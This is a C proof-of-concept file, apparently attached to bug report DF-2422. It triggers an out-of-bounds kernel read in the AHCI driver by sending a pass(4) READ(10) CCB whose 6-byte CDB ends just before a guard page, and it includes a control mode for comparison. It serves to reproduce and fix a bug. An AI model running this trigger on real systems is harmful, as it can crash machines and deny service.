DF-2422 / pass2422.c
/* * DF-2422 trigger: pass(4) XPT_SCSI_IO CCB with CAM_CDB_POINTER and * cdb_len=6; the CDB buffer sits at the very end of a page whose next * page is PROT_NONE. ahci_xpt_scsi_disk_io() never consults * csio->cdb_len and dereferences cdb->rw_10 (10 bytes) -> the read of * bytes 6..9 touches the guard page. * control mode (-c): CDB pointer mid-page (all 10 bytes mapped) -- * the same CCB shape completes normally. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/mman.h> #include <camlib.h> #include <bus/cam/cam_ccb.h> #include <bus/cam/scsi/scsi_message.h> int main(int argc, char **argv) { struct cam_device *dev; union ccb *ccb; unsigned char *cdb; int control = (argc > 1 && !strcmp(argv[1], "-c")); dev = cam_open_device("/dev/pass0", O_RDWR); if (!dev) { fprintf(stderr, "cam_open: %s\n", cam_errbuf); return 1; } unsigned char *pages = mmap(NULL, 2 * 4096, PROT_READ|PROT_WRITE, MAP_ANON|MAP_PRIVATE, -1, 0); if (pages == MAP_FAILED) { perror("mmap"); return 1; } if (mprotect(pages + 4096, 4096, PROT_NONE) < 0) { perror("mprotect"); return 1; } cdb = control ? pages + 2048 : pages + 4096 - 6; memset(pages, 0, 4096); cdb[0] = 0x28; /* READ(10) */ cdb[1] = 0; cdb[2] = 0; cdb[3] = 0; cdb[4] = 0; cdb[5] = 0x10; /* LBA 16 */ /* bytes 6..9 (block count) are only mapped in control mode */ ccb = cam_getccb(dev); if (!ccb) { fprintf(stderr, "cam_getccb failed\n"); return 1; } cam_fill_csio(&ccb->csio, 1, /* retries */ NULL, /* cbf */ CAM_DIR_IN, /* flags */ CAM_TAG_ACTION_NONE, pages + 1024, /* data_ptr */ 512, /* dxfer_len */ SSD_FULL_SIZE, /* sense_len */ 6, /* cdb_len: ONLY SIX */ 5000); /* timeout */ ccb->ccb_h.flags |= CAM_CDB_POINTER; ccb->csio.cdb_io.cdb_ptr = cdb; printf("issuing READ(10) cdb_len=6 cdb_ptr=%p (control=%d)...\n", cdb, control); fflush(stdout); if (cam_send_ccb(dev, ccb) < 0) { perror("cam_send_ccb"); return 1; } printf("returned: status=0x%x\n", ccb->ccb_h.status); if (ccb->ccb_h.status & CAM_STATUS_MASK) printf("cam error: %s\n", cam_errbuf); cam_freeccb(ccb); cam_close_device(dev); return 0; } |